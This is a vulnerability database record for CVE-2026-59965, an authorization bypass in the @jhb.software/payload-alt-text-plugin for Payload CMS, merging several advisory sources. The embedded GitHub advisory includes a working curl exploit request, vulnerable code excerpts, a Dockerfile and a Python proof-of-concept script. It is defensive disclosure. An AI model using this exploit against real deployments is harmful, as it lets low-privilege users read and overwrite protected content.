{"id":"CVE-2026-59965","aliases":["EUVD-2026-78819","GHSA-4qpv-39hg-f7fx"],"status":"published","title":"@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission","description":"Payload Plugins is a collection of plugins designed to enhance Payload CMS. In 0.7.0, @jhb.software/payload-alt-text-plugin exposes POST /api/alt-text-plugin/generate and POST /api/alt-text-plugin/bulk with a default guard that accepts any authenticated user, while alt-text/src/endpoints/generateAltText.ts and alt-text/src/endpoints/bulkGenerateAltTexts.ts call req.payload.findByID and req.payload.update without overrideAccess: false. Payload therefore defaults overrideAccess to true and skips the target collection's read and update access functions. An authenticated low-privilege user can supply id, collection, locale, and update values to read arbitrary protected upload documents and overwrite their alt and keywords fields, even when the collection permits those operations only to administrators. A control Local API call with overrideAccess: false is denied, confirming that the plugin endpoint bypasses otherwise effective collection rules. This vulnerability is fixed in 0.8.0.","severity":{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00377,"percentile":0.3197,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-863"],"published":"2026-09-10T22:39:14Z","modified":"2026-10-28T02:30:43Z","fixes":[{"ecosystem":"npm","package":"@jhb.software/payload-alt-text-plugin","fixed_in":["0.8.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@jhb.software/payload-alt-text-plugin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@jhb.software/payload-alt-text-plugin","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.0"}]}]}],"products":[{"vendor":"@jhb.software","product":"payload-alt-text-plugin"},{"vendor":"jhb-software","product":"payload-plugins"}],"references":[{"url":"https://github.com/jhb-software/payload-plugins/security/advisories/GHSA-4qpv-39hg-f7fx","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/jhb-software/payload-plugins/pull/159","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jhb-software/payload-plugins/commit/e39634868ce13a414e2981e219befc58101654d3","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jhb-software/payload-plugins/releases/tag/alt-text@0.8.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59965","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4qpv-39hg-f7fx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59965.json","tags":["advisory"]},{"url":"https://github.com/jhb-software/payload-plugins","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-59965","title":"@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission","description":"Payload Plugins is a collection of plugins designed to enhance Payload CMS. In 0.7.0, @jhb.software/payload-alt-text-plugin exposes POST /api/alt-text-plugin/generate and POST /api/alt-text-plugin/bulk with a default guard that accepts any authenticated user, while alt-text/src/endpoints/generateAltText.ts and alt-text/src/endpoints/bulkGenerateAltTexts.ts call req.payload.findByID and req.payload.update without overrideAccess: false. Payload therefore defaults overrideAccess to true and skips the target collection's read and update access functions. An authenticated low-privilege user can supply id, collection, locale, and update values to read arbitrary protected upload documents and overwrite their alt and keywords fields, even when the collection permits those operations only to administrators. A control Local API call with overrideAccess: false is denied, confirming that the plugin endpoint bypasses otherwise effective collection rules. This vulnerability is fixed in 0.8.0.","status":"published","published":"2026-09-15T15:56:32.124Z","modified":"2026-09-17T15:32:58.542Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:19:58.944663Z"}],"euvd":[{"id":"EUVD-2026-78819","description":"Payload Plugins is a collection of plugins designed to enhance Payload CMS. In 0.7.0, @jhb.software/payload-alt-text-plugin exposes POST /api/alt-text-plugin/generate and POST /api/alt-text-plugin/bulk with a default guard that accepts any authenticated user, while alt-text/src/endpoints/generateAltText.ts and alt-text/src/endpoints/bulkGenerateAltTexts.ts call req.payload.findByID and req.payload.update without overrideAccess: false. Payload therefore defaults overrideAccess to true and skips the target collection's read and update access functions. An authenticated low-privilege user can supply id, collection, locale, and update values to read arbitrary protected upload documents and overwrite their alt and keywords fields, even when the collection permits those operations only to administrators. A control Local API call with overrideAccess: false is denied, confirming that the plugin endpoint bypasses otherwise effective collection rules. This vulnerability is fixed in 0.8.0.","status":"published","published":"2026-09-15T15:56:32Z","modified":"2026-09-17T15:32:58Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T17:28:11.273554Z"}],"ghsa":[{"id":"GHSA-4qpv-39hg-f7fx","title":"@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission","description":"## Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission\n\n### Summary\n\n`@jhb.software/payload-alt-text-plugin` v0.7.0 exposes custom Payload CMS endpoints (`POST /api/alt-text-plugin/generate` and `/bulk`) that call the Payload Local API (`findByID` and `update`) without setting `overrideAccess: false`. Because Payload's internal logic evaluates `shouldOverrideAccess = overrideAccess !== false`, omitting the parameter causes it to default to `true`, silently bypassing all collection-level access control functions. Any authenticated user — regardless of role — can read and overwrite the `alt` and `keywords` fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated **High** (CVSS 7.1).\n\n### Details\n\nThe plugin registers two network endpoints in `alt-text/src/plugin.ts:179-186`. Their default access guard (`plugin.ts:55`) only checks `!!req.user`, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.\n\nThe endpoint handler at `alt-text/src/endpoints/generateAltText.ts` accepts user-controlled `id`, `collection`, `locale`, and `update` fields from the request body (`line 29`), then passes them directly to two unsecured Local API calls:\n\n**Read bypass** (`generateAltText.ts:31`):\n```typescript\nconst imageDoc = await req.payload.findByID({\n  id,\n  collection,\n  depth: 0,\n  // overrideAccess: false is absent → defaults to true\n})\n```\n\n**Write bypass** (`generateAltText.ts:121`):\n```typescript\nawait req.payload.update({\n  id,\n  collection,\n  data: {\n    alt: result.result.altText,\n    keywords: result.result.keywords,\n  },\n  locale: targetLocale,\n  // overrideAccess: false is absent → defaults to true\n})\n```\n\nThe bulk endpoint (`alt-text/src/endpoints/bulkGenerateAltTexts.ts`) repeats the same pattern at lines `120` (read) and `170` (write).\n\nPayload's internal resolution of `overrideAccess` is:\n```\nshouldOverrideAccess = overrideAccess !== false\n// undefined !== false → true → collection access function is never called\n```\n\nBecause the collection-level `read` and `update` access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.\n\n### PoC\n\n**Environment setup:**\n\n1. Clone the repository and install `@jhb.software/payload-alt-text-plugin@0.7.0` into a Payload v3 project.\n2. Configure an upload collection named `media` with `read` and `update` access restricted to users with `role: \"admin\"`.\n3. Configure the plugin with `collections: [\"media\"]` and a resolver that returns `{ success: true, result: { altText: \"PWNED_BY_EXPLOIT\", keywords: [\"hacked\", \"bypass\"] } }`.\n4. As an admin, create a media document (e.g., ID `doc-001`) with `alt = \"original safe alt text\"`.\n5. Obtain a session token for a non-admin user (`role: \"user\"`).\n\n**Build and run the dynamic PoC (Docker):**\n\n```bash\n# Build\ndocker build -t vuln001-poc -f vuln-001/Dockerfile .\n\n# Run\ndocker run --rm vuln001-poc\n```\n\n**Exploit request:**\n\n```bash\ncurl -i -b \"payload-token=\u003cLOW_PRIV_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -X POST http://localhost:3000/api/alt-text-plugin/generate \\\n  --data '{\"collection\":\"media\",\"id\":\"doc-001\",\"locale\":\"en\",\"update\":true}'\n```\n\n**Expected result:**\n\n- HTTP 200 is returned.\n- The response body contains `\"altText\": \"PWNED_BY_EXPLOIT\"`.\n- A subsequent admin read of `media/doc-001` confirms `alt = \"PWNED_BY_EXPLOIT\"` and `keywords = [\"hacked\", \"bypass\"]`, despite the collection's update access being restricted to admins.\n\n**Control verification (confirms the bypass is real, not a misconfiguration):**\n\nA direct Local API call with `overrideAccess: false` by the same non-admin user throws `AccessError: update denied for collection \"media\" (user role: user)`, proving that the access rule is correct and the plugin endpoint is the vector.\n\n**Dynamic reproduction output (Phase 2 confirmed):**\n\n```\nVULN-001: Alt Text endpoint authorization bypass\n  Payload Local API overrideAccess omission in\n  generateAltText.ts:31 and :121\n\n[Step 1] Control: non-admin direct update with overrideAccess:false\n  PASS: access correctly denied → AccessError\n\n[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate\n  HTTP status : 200\n  Response    : {\"id\":\"doc-001\",\"collection\":\"media\",\"altText\":\"PWNED_BY_EXPLOIT\",\"keywords\":[\"hacked\",\"bypass\"]}\n\nVULNERABILITY CONFIRMED — EXPLOITATION SUCCESSFUL\n```\n\n### Impact\n\nThis is an **Incorrect Authorization** vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user — a subscriber, editor, or any low-privilege role — can:\n\n1. **Read** the content of arbitrary upload documents that collection access rules would otherwise deny them.\n2. **Overwrite** the `alt` text and `keywords` fields on those documents, effectively performing unauthorized content modification.\n\nOperators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n#\n# Build context: the parent directory that contains both\n#   repo/          (jhb-software/payload-plugins clone)\n#   vuln-001/      (this workspace)\n#\n# Build:  docker build -t vuln001-poc -f vuln-001/Dockerfile .\n# Run:    docker run --rm vuln001-poc\n\nFROM node:22-slim\n\nWORKDIR /app\n\n# ---- Copy plugin source files required by the PoC ----\n# Only the endpoint under test and its direct dependencies are needed.\n# No Payload framework install required: we mock it in the PoC.\n\nCOPY repo/alt-text/src/endpoints/generateAltText.ts  ./plugin/src/endpoints/generateAltText.ts\nCOPY repo/alt-text/src/endpoints/schemas.ts          ./plugin/src/endpoints/schemas.ts\nCOPY repo/alt-text/src/utilities/mimeTypes.ts        ./plugin/src/utilities/mimeTypes.ts\nCOPY repo/alt-text/src/types/AltTextPluginConfig.ts  ./plugin/src/types/AltTextPluginConfig.ts\nCOPY repo/alt-text/src/resolvers/types.ts            ./plugin/src/resolvers/types.ts\n\n# ---- Copy PoC files ----\nCOPY vuln-001/package_inner.json ./package.json\nCOPY vuln-001/inner_poc.ts       ./inner_poc.ts\n\n# ---- Install minimal runtime dependencies ----\n# zod: schema validation used by the endpoint handler\n# tsx:  TypeScript executor that handles .js→.ts extension mapping\nRUN npm install --no-audit --no-fund\n\n# ---- Run the PoC ----\nCMD [\"node_modules/.bin/tsx\", \"inner_poc.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\npoc.py — VULN-001 Dynamic Reproduction Orchestrator\n\nVulnerability: @jhb.software/payload-alt-text-plugin v0.7.0\nTitle: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission\nCWE: CWE-863 (Incorrect Authorization)\n\nThis script:\n  1. Builds a Docker image containing the real plugin endpoint source.\n  2. Runs the container, which calls the endpoint handler with a non-admin user.\n  3. Captures stdout/stderr as evidence.\n  4. Writes the result to phase2_result.json.\n\nUsage:\n  python3 poc.py\n\nSafety:\n  - All traffic stays on 127.0.0.1 / localhost inside Docker.\n  - No external services are contacted.\n  - No live credentials are used.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\n\n# ---------------------------------------------------------------------------\n# Paths\n# ---------------------------------------------------------------------------\n\nTHIS_DIR = os.path.dirname(os.path.abspath(__file__))\n# Build context: parent directory that contains both repo/ and vuln-001/\nBUILD_CONTEXT = os.path.dirname(THIS_DIR)\nDOCKERFILE = os.path.join(THIS_DIR, \"Dockerfile\")\nIMAGE_TAG = \"vuln001-poc\"\nRESULT_FILE = os.path.join(THIS_DIR, \"phase2_result.json\")\n\nBUILD_COMMAND = f\"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile .\"\nRUN_COMMAND = f\"docker run --rm {IMAGE_TAG}\"\nPOC_COMMAND = f\"python3 poc.py\"\n\n\ndef run(cmd: list[str], cwd: str, timeout: int = 180) -\u003e tuple[int, str, str]:\n    \"\"\"Run a subprocess and return (returncode, stdout, stderr).\"\"\"\n    result = subprocess.run(\n        cmd,\n        cwd=cwd,\n        capture_output=True,\n        text=True,\n        timeout=timeout,\n    )\n    return result.returncode, result.stdout, result.stderr\n\n\ndef write_result(passed: bool, verdict: str, reason: str, evidence: str,\n                 build_out: str = \"\", run_out: str = \"\", failure_detail: str = \"\") -\u003e None:\n    \"\"\"Write phase2_result.json.\"\"\"\n    data: dict = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": BUILD_COMMAND,\n        \"run_command\": RUN_COMMAND,\n        \"poc_command\": POC_COMMAND,\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n    }\n    if failure_detail:\n        data[\"failure_detail\"] = failure_detail\n    if build_out:\n        data[\"build_output_tail\"] = build_out[-2000:]\n    if run_out:\n        data[\"run_output\"] = run_out\n    with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as fh:\n        json.dump(data, fh, indent=2, ensure_ascii=False)\n    print(f\"\\nResult written to: {RESULT_FILE}\")\n\n\ndef main() -\u003e int:\n    # -----------------------------------------------------------------------\n    # Step 1: Build the Docker image\n    # -----------------------------------------------------------------------\n    print(\"=\" * 60)\n    print(\"VULN-001 Dynamic Reproduction\")\n    print(\"=\" * 60)\n    print()\n    print(f\"[1/2] Building Docker image: {IMAGE_TAG}\")\n    print(f\"      Context : {BUILD_CONTEXT}\")\n    print(f\"      Command : {BUILD_COMMAND}\")\n    print()\n\n    rc, build_stdout, build_stderr = run(\n        [\"docker\", \"build\", \"-t\", IMAGE_TAG, \"-f\", \"vuln-001/Dockerfile\", \".\"],\n        cwd=BUILD_CONTEXT,\n    )\n\n    combined_build = (build_stdout + build_stderr).strip()\n    if rc != 0:\n        print(\"ERROR: Docker build failed.\")\n        print(combined_build[-3000:])\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=\"Docker 빌드 실패 — npm install 또는 파일 복사 오류\",\n            evidence=\"\",\n            build_out=combined_build,\n            failure_detail=f\"docker build exit code {rc}:\\n{combined_build[-2000:]}\",\n        )\n        return 1\n\n    print(\"      Build succeeded.\")\n    print()\n\n    # -----------------------------------------------------------------------\n    # Step 2: Run the PoC container\n    # -----------------------------------------------------------------------\n    print(f\"[2/2] Running PoC container\")\n    print(f\"      Command : {RUN_COMMAND}\")\n    print()\n\n    rc, run_stdout, run_stderr = run(\n        [\"docker\", \"run\", \"--rm\", IMAGE_TAG],\n        cwd=BUILD_CONTEXT,\n    )\n\n    combined_run = (run_stdout + run_stderr).strip()\n    print(combined_run)\n    print()\n\n    # -----------------------------------------------------------------------\n    # Step 3: Evaluate the output\n    # -----------------------------------------------------------------------\n    success_marker = \"VULNERABILITY CONFIRMED\"\n    pwned_marker = \"PWNED_BY_EXPLOIT\"\n\n    if rc == 0 and success_marker in combined_run and pwned_marker in combined_run:\n        # Extract the key evidence block\n        lines = combined_run.splitlines()\n        evidence_lines = []\n        in_block = False\n        for line in lines:\n            if success_marker in line or pwned_marker in line or \"EXPLOITATION\" in line:\n                in_block = True\n            if in_block:\n                evidence_lines.append(line)\n            if in_block and line.startswith(\"→\"):\n                break\n        evidence = \"\\n\".join(evidence_lines) if evidence_lines else combined_run[-1500:]\n\n        write_result(\n            passed=True,\n            verdict=\"PASS\",\n            reason=(\n                \"비관리자(role=user) 세션이 POST /api/alt-text-plugin/generate?update=true 호출을 통해 \"\n                \"admin 전용 컬렉션의 문서 필드(alt, keywords)를 임의 수정하는 것을 실제 엔드포인트 코드 실행으로 확인. \"\n                \"generateAltText.ts:121에서 payload.update()가 overrideAccess:false 없이 호출되어 \"\n                \"Payload Local API의 기본 shouldOverrideAccess = undefined !== false → true 로직에 의해 \"\n                \"컬렉션 레벨 access 함수가 우회됨. \"\n                \"직접 update(overrideAccess:false) 호출은 AccessError로 차단되지만 플러그인 엔드포인트 경유 시 성공.\"\n            ),\n            evidence=evidence,\n            run_out=combined_run,\n        )\n        print(\"PASS — vulnerability dynamically confirmed.\")\n        return 0\n\n    else:\n        print(\"FAIL — success marker not found or container exited non-zero.\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\" if rc != 0 else \"INCOMPLETE\",\n            reason=(\n                f\"컨테이너 종료 코드 {rc}. \"\n                \"성공 마커(VULNERABILITY CONFIRMED)가 출력에서 발견되지 않음. \"\n                \"로그를 확인하여 원인 파악 필요.\"\n            ),\n            evidence=combined_run[-2000:],\n            run_out=combined_run,\n            failure_detail=f\"Container exit code: {rc}\\nstdout+stderr:\\n{combined_run}\",\n        )\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```","status":"published","published":"2026-09-10T22:39:14Z","modified":"2026-09-16T18:56:22Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","level":"high"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:41:17.136201Z"}],"nvd":[{"id":"CVE-2026-59965","description":"Payload Plugins is a collection of plugins designed to enhance Payload CMS. In 0.7.0, @jhb.software/payload-alt-text-plugin exposes POST /api/alt-text-plugin/generate and POST /api/alt-text-plugin/bulk with a default guard that accepts any authenticated user, while alt-text/src/endpoints/generateAltText.ts and alt-text/src/endpoints/bulkGenerateAltTexts.ts call req.payload.findByID and req.payload.update without overrideAccess: false. Payload therefore defaults overrideAccess to true and skips the target collection's read and update access functions. An authenticated low-privilege user can supply id, collection, locale, and update values to read arbitrary protected upload documents and overwrite their alt and keywords fields, even when the collection permits those operations only to administrators. A control Local API call with overrideAccess: false is denied, confirming that the plugin endpoint bypasses otherwise effective collection rules. This vulnerability is fixed in 0.8.0.","status":"published","published":"2026-09-15T16:17:17.11Z","modified":"2026-09-30T17:51:56.193Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:12:47.668237Z"}],"osv":[{"id":"CVE-2026-59965","title":"@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission","description":"Payload Plugins is a collection of plugins designed to enhance Payload CMS. In 0.7.0, @jhb.software/payload-alt-text-plugin exposes POST /api/alt-text-plugin/generate and POST /api/alt-text-plugin/bulk with a default guard that accepts any authenticated user, while alt-text/src/endpoints/generateAltText.ts and alt-text/src/endpoints/bulkGenerateAltTexts.ts call req.payload.findByID and req.payload.update without overrideAccess: false. Payload therefore defaults overrideAccess to true and skips the target collection's read and update access functions. An authenticated low-privilege user can supply id, collection, locale, and update values to read arbitrary protected upload documents and overwrite their alt and keywords fields, even when the collection permits those operations only to administrators. A control Local API call with overrideAccess: false is denied, confirming that the plugin endpoint bypasses otherwise effective collection rules. This vulnerability is fixed in 0.8.0.","status":"published","published":"2026-09-15T15:56:32.124Z","modified":"2026-10-28T02:30:43.389438976Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","level":"high"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"GHSA-4qpv-39hg-f7fx","title":"@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission","description":"## Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission\n\n### Summary\n\n`@jhb.software/payload-alt-text-plugin` v0.7.0 exposes custom Payload CMS endpoints (`POST /api/alt-text-plugin/generate` and `/bulk`) that call the Payload Local API (`findByID` and `update`) without setting `overrideAccess: false`. Because Payload's internal logic evaluates `shouldOverrideAccess = overrideAccess !== false`, omitting the parameter causes it to default to `true`, silently bypassing all collection-level access control functions. Any authenticated user — regardless of role — can read and overwrite the `alt` and `keywords` fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated **High** (CVSS 7.1).\n\n### Details\n\nThe plugin registers two network endpoints in `alt-text/src/plugin.ts:179-186`. Their default access guard (`plugin.ts:55`) only checks `!!req.user`, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.\n\nThe endpoint handler at `alt-text/src/endpoints/generateAltText.ts` accepts user-controlled `id`, `collection`, `locale`, and `update` fields from the request body (`line 29`), then passes them directly to two unsecured Local API calls:\n\n**Read bypass** (`generateAltText.ts:31`):\n```typescript\nconst imageDoc = await req.payload.findByID({\n  id,\n  collection,\n  depth: 0,\n  // overrideAccess: false is absent → defaults to true\n})\n```\n\n**Write bypass** (`generateAltText.ts:121`):\n```typescript\nawait req.payload.update({\n  id,\n  collection,\n  data: {\n    alt: result.result.altText,\n    keywords: result.result.keywords,\n  },\n  locale: targetLocale,\n  // overrideAccess: false is absent → defaults to true\n})\n```\n\nThe bulk endpoint (`alt-text/src/endpoints/bulkGenerateAltTexts.ts`) repeats the same pattern at lines `120` (read) and `170` (write).\n\nPayload's internal resolution of `overrideAccess` is:\n```\nshouldOverrideAccess = overrideAccess !== false\n// undefined !== false → true → collection access function is never called\n```\n\nBecause the collection-level `read` and `update` access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.\n\n### PoC\n\n**Environment setup:**\n\n1. Clone the repository and install `@jhb.software/payload-alt-text-plugin@0.7.0` into a Payload v3 project.\n2. Configure an upload collection named `media` with `read` and `update` access restricted to users with `role: \"admin\"`.\n3. Configure the plugin with `collections: [\"media\"]` and a resolver that returns `{ success: true, result: { altText: \"PWNED_BY_EXPLOIT\", keywords: [\"hacked\", \"bypass\"] } }`.\n4. As an admin, create a media document (e.g., ID `doc-001`) with `alt = \"original safe alt text\"`.\n5. Obtain a session token for a non-admin user (`role: \"user\"`).\n\n**Build and run the dynamic PoC (Docker):**\n\n```bash\n# Build\ndocker build -t vuln001-poc -f vuln-001/Dockerfile .\n\n# Run\ndocker run --rm vuln001-poc\n```\n\n**Exploit request:**\n\n```bash\ncurl -i -b \"payload-token=\u003cLOW_PRIV_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -X POST http://localhost:3000/api/alt-text-plugin/generate \\\n  --data '{\"collection\":\"media\",\"id\":\"doc-001\",\"locale\":\"en\",\"update\":true}'\n```\n\n**Expected result:**\n\n- HTTP 200 is returned.\n- The response body contains `\"altText\": \"PWNED_BY_EXPLOIT\"`.\n- A subsequent admin read of `media/doc-001` confirms `alt = \"PWNED_BY_EXPLOIT\"` and `keywords = [\"hacked\", \"bypass\"]`, despite the collection's update access being restricted to admins.\n\n**Control verification (confirms the bypass is real, not a misconfiguration):**\n\nA direct Local API call with `overrideAccess: false` by the same non-admin user throws `AccessError: update denied for collection \"media\" (user role: user)`, proving that the access rule is correct and the plugin endpoint is the vector.\n\n**Dynamic reproduction output (Phase 2 confirmed):**\n\n```\nVULN-001: Alt Text endpoint authorization bypass\n  Payload Local API overrideAccess omission in\n  generateAltText.ts:31 and :121\n\n[Step 1] Control: non-admin direct update with overrideAccess:false\n  PASS: access correctly denied → AccessError\n\n[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate\n  HTTP status : 200\n  Response    : {\"id\":\"doc-001\",\"collection\":\"media\",\"altText\":\"PWNED_BY_EXPLOIT\",\"keywords\":[\"hacked\",\"bypass\"]}\n\nVULNERABILITY CONFIRMED — EXPLOITATION SUCCESSFUL\n```\n\n### Impact\n\nThis is an **Incorrect Authorization** vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user — a subscriber, editor, or any low-privilege role — can:\n\n1. **Read** the content of arbitrary upload documents that collection access rules would otherwise deny them.\n2. **Overwrite** the `alt` text and `keywords` fields on those documents, effectively performing unauthorized content modification.\n\nOperators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n#\n# Build context: the parent directory that contains both\n#   repo/          (jhb-software/payload-plugins clone)\n#   vuln-001/      (this workspace)\n#\n# Build:  docker build -t vuln001-poc -f vuln-001/Dockerfile .\n# Run:    docker run --rm vuln001-poc\n\nFROM node:22-slim\n\nWORKDIR /app\n\n# ---- Copy plugin source files required by the PoC ----\n# Only the endpoint under test and its direct dependencies are needed.\n# No Payload framework install required: we mock it in the PoC.\n\nCOPY repo/alt-text/src/endpoints/generateAltText.ts  ./plugin/src/endpoints/generateAltText.ts\nCOPY repo/alt-text/src/endpoints/schemas.ts          ./plugin/src/endpoints/schemas.ts\nCOPY repo/alt-text/src/utilities/mimeTypes.ts        ./plugin/src/utilities/mimeTypes.ts\nCOPY repo/alt-text/src/types/AltTextPluginConfig.ts  ./plugin/src/types/AltTextPluginConfig.ts\nCOPY repo/alt-text/src/resolvers/types.ts            ./plugin/src/resolvers/types.ts\n\n# ---- Copy PoC files ----\nCOPY vuln-001/package_inner.json ./package.json\nCOPY vuln-001/inner_poc.ts       ./inner_poc.ts\n\n# ---- Install minimal runtime dependencies ----\n# zod: schema validation used by the endpoint handler\n# tsx:  TypeScript executor that handles .js→.ts extension mapping\nRUN npm install --no-audit --no-fund\n\n# ---- Run the PoC ----\nCMD [\"node_modules/.bin/tsx\", \"inner_poc.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\npoc.py — VULN-001 Dynamic Reproduction Orchestrator\n\nVulnerability: @jhb.software/payload-alt-text-plugin v0.7.0\nTitle: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission\nCWE: CWE-863 (Incorrect Authorization)\n\nThis script:\n  1. Builds a Docker image containing the real plugin endpoint source.\n  2. Runs the container, which calls the endpoint handler with a non-admin user.\n  3. Captures stdout/stderr as evidence.\n  4. Writes the result to phase2_result.json.\n\nUsage:\n  python3 poc.py\n\nSafety:\n  - All traffic stays on 127.0.0.1 / localhost inside Docker.\n  - No external services are contacted.\n  - No live credentials are used.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\n\n# ---------------------------------------------------------------------------\n# Paths\n# ---------------------------------------------------------------------------\n\nTHIS_DIR = os.path.dirname(os.path.abspath(__file__))\n# Build context: parent directory that contains both repo/ and vuln-001/\nBUILD_CONTEXT = os.path.dirname(THIS_DIR)\nDOCKERFILE = os.path.join(THIS_DIR, \"Dockerfile\")\nIMAGE_TAG = \"vuln001-poc\"\nRESULT_FILE = os.path.join(THIS_DIR, \"phase2_result.json\")\n\nBUILD_COMMAND = f\"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile .\"\nRUN_COMMAND = f\"docker run --rm {IMAGE_TAG}\"\nPOC_COMMAND = f\"python3 poc.py\"\n\n\ndef run(cmd: list[str], cwd: str, timeout: int = 180) -\u003e tuple[int, str, str]:\n    \"\"\"Run a subprocess and return (returncode, stdout, stderr).\"\"\"\n    result = subprocess.run(\n        cmd,\n        cwd=cwd,\n        capture_output=True,\n        text=True,\n        timeout=timeout,\n    )\n    return result.returncode, result.stdout, result.stderr\n\n\ndef write_result(passed: bool, verdict: str, reason: str, evidence: str,\n                 build_out: str = \"\", run_out: str = \"\", failure_detail: str = \"\") -\u003e None:\n    \"\"\"Write phase2_result.json.\"\"\"\n    data: dict = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": BUILD_COMMAND,\n        \"run_command\": RUN_COMMAND,\n        \"poc_command\": POC_COMMAND,\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n    }\n    if failure_detail:\n        data[\"failure_detail\"] = failure_detail\n    if build_out:\n        data[\"build_output_tail\"] = build_out[-2000:]\n    if run_out:\n        data[\"run_output\"] = run_out\n    with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as fh:\n        json.dump(data, fh, indent=2, ensure_ascii=False)\n    print(f\"\\nResult written to: {RESULT_FILE}\")\n\n\ndef main() -\u003e int:\n    # -----------------------------------------------------------------------\n    # Step 1: Build the Docker image\n    # -----------------------------------------------------------------------\n    print(\"=\" * 60)\n    print(\"VULN-001 Dynamic Reproduction\")\n    print(\"=\" * 60)\n    print()\n    print(f\"[1/2] Building Docker image: {IMAGE_TAG}\")\n    print(f\"      Context : {BUILD_CONTEXT}\")\n    print(f\"      Command : {BUILD_COMMAND}\")\n    print()\n\n    rc, build_stdout, build_stderr = run(\n        [\"docker\", \"build\", \"-t\", IMAGE_TAG, \"-f\", \"vuln-001/Dockerfile\", \".\"],\n        cwd=BUILD_CONTEXT,\n    )\n\n    combined_build = (build_stdout + build_stderr).strip()\n    if rc != 0:\n        print(\"ERROR: Docker build failed.\")\n        print(combined_build[-3000:])\n        write_result(\n            passed=False,\n            